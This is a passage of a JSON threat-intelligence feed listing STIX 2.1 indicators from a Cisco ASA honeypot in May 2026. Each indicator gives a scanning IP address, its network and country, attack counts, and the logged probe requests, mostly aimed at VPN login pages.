        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-18T08:30:24.457Z",
          "last_seen": "2026-05-18T08:30:24.457Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--62ac5507-296a-4c2a-a143-bf0f9c9d1b64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-18T08:30:11.389Z",
          "last_seen": "2026-05-31T03:26:57.964Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--1935e74e-5d2f-4c6a-b891-7158853e1063",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '93.152.221.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-18T08:42:18.478Z",
          "last_seen": "2026-05-18T10:27:50.388Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--53375346-d9ea-4452-a592-e3cd433892f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:20:11.000Z",
      "valid_until": "2026-06-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-19T01:03:06.548Z",
          "last_seen": "2026-05-27T13:32:44.060Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--076015a1-f943-4c82-a106-e4b9a81f0d12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.196.240.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:20:11.000Z",
      "valid_until": "2026-06-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-19T00:54:01.509Z",
          "last_seen": "2026-05-25T01:01:28.040Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--7cff8493-4bc0-48c9-b3ed-ad2dc8b562ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.242.39.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:20:11.000Z",
      "valid_until": "2026-06-20T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-19T00:55:30.503Z",
          "last_seen": "2026-05-19T00:55:30.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c13ffd29-389c-44e7-af4e-f0df51b5b40b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:20:11.000Z",
      "valid_until": "2026-06-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-19T01:38:04.746Z",
          "last_seen": "2026-05-25T19:37:06.179Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--8a5858e7-20e8-4210-b6be-08445e826e8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:20:11.000Z",
      "valid_until": "2026-06-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-19T02:11:55.743Z",
          "last_seen": "2026-05-19T02:11:55.743Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8ea18e2e-d3e8-4021-8c98-915a833c3ba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.37.63.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:20:11.000Z",
      "valid_until": "2026-06-20T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 99,
          "first_seen": "2026-05-19T01:40:51.321Z",
          "last_seen": "2026-05-31T04:09:38.037Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a87b9602-d07f-4b5f-b869-3fea638646b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:20:10.000Z",
      "valid_until": "2026-06-20T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-19T02:23:24.999Z",
          "last_seen": "2026-05-27T22:11:17.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--df8285eb-357d-4df5-bf3f-2b8856ae128a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:20:12.000Z",
      "valid_until": "2026-06-20T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-19T03:34:00.997Z",
          "last_seen": "2026-05-19T03:49:58.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c8f3e513-d3c3-4aa4-a0f6-840eeacf2129",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:20:12.000Z",
      "valid_until": "2026-06-20T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-19T04:08:41.120Z",
          "last_seen": "2026-05-30T14:11:16.521Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c633afc1-67cb-4682-85aa-60e94005489d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-19T04:42:31.699Z",
          "last_seen": "2026-05-20T16:51:37.633Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-19T05:13:00.154Z",
          "last_seen": "2026-05-19T05:19:33.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-19T05:17:56.829Z",
          "last_seen": "2026-05-19T05:17:56.829Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-19T05:16:12.663Z",
          "last_seen": "2026-05-19T05:16:12.663Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--44ed23da-528a-4a96-8d39-74fab6fe55b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-19T05:17:31.691Z",
          "last_seen": "2026-05-19T05:18:03.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-19T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:20:10.000Z",
      "valid_until": "2026-06-20T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-19T05:17:38.262Z",
          "last_seen": "2026-05-19T05:17:38.262Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cc76a8de-c84d-4f09-ab5b-0878ce054fcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.224.87.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:20:16.000Z",
      "valid_until": "2026-06-21T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-20T00:56:08.352Z",
          "last_seen": "2026-05-20T00:56:08.352Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--22576c4c-50e0-48d6-a4f6-54e022c1acbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.164.38.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:20:16.000Z",
      "valid_until": "2026-06-21T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-20T01:00:28.545Z",
          "last_seen": "2026-05-20T01:00:28.545Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d4953601-b317-486f-a4e6-009c3d5acc1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.86.179.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:20:16.000Z",
      "valid_until": "2026-06-21T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T00:56:03.711Z",
          "last_seen": "2026-05-20T00:56:06.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T03:20:26.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--870bed11-69e5-4905-baa6-9139e50a70db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.39']",
